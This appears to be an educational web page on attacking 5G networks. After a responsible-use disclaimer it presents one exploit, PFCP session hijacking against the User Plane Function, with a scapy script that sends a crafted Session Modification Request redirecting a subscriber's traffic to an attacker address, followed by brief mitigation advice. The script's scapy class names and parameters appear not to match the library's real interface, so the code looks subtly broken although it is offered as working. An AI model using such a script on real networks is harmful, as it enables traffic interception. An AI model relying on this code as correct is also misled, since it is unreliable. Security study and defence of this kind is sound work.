Responsible Use Warning

The exploit code and techniques presented on this page are for educational and research purposes only. They should only be used in authorized security testing environments with proper permissions. Unauthorized use of these exploits against production networks is illegal and unethical.

Understanding 5G Exploits

5G networks introduce new technologies and architectures that can be exploited through various techniques. This section provides detailed examples of specific exploits that target 5G network components and protocols.

Each exploit is presented with a description of the vulnerability, the target component, potential impact, and code examples that demonstrate the exploitation technique. These examples are valuable for security professionals conducting authorized security assessments.

Educational Purpose

These exploits are documented to help security professionals understand and mitigate vulnerabilities.

Proof-of-Concept Code

Code examples demonstrate the technical aspects of exploits but are simplified for clarity.

Mitigation Focus

Each exploit includes information on how to detect and mitigate the vulnerability.

5G Exploit Examples

PFCP Session Hijacking

Exploiting vulnerabilities in PFCP to hijack user sessions

Target Component

User Plane Function (UPF)

Potential Impact

Traffic interception, data manipulation

Exploitation Technique

By sending crafted PFCP messages to the UPF, an attacker can modify session parameters and redirect traffic

Code Example

# PFCP Session Modification Request with malicious parameters
import scapy.all as scapy

def craft_pfcp_session_mod_req(session_id, target_ip):
    # Create IP and UDP headers
    ip = scapy.IP(dst=target_ip)
    udp = scapy.UDP(dport=8805)  # PFCP port
    
    # Create PFCP header
    pfcp_header = scapy.PFCP_Header(version=1, message_type=52)  # Session Modification Request
    
    # Create PFCP IE fields
    session_id_ie = scapy.PFCP_IE_FSEID(seid=session_id)
    # Malicious forwarding parameters to redirect traffic
    forwarding_ie = scapy.PFCP_IE_ForwardingParameters(redirect_ip='attacker_ip')
    
    # Assemble and send the packet
    packet = ip/udp/pfcp_header/session_id_ie/forwarding_ie
    scapy.send(packet)

# Usage
craft_pfcp_session_mod_req(0x1234567890, '10.0.0.1')

Mitigation Recommendations

Implement strong input validation for all protocol messages to prevent malformed packets
Use mutual authentication and integrity protection for all network communications
Deploy intrusion detection systems capable of identifying abnormal protocol behavior
Regularly update and patch all network components with the latest security fixes

5G Exploit Development Framework
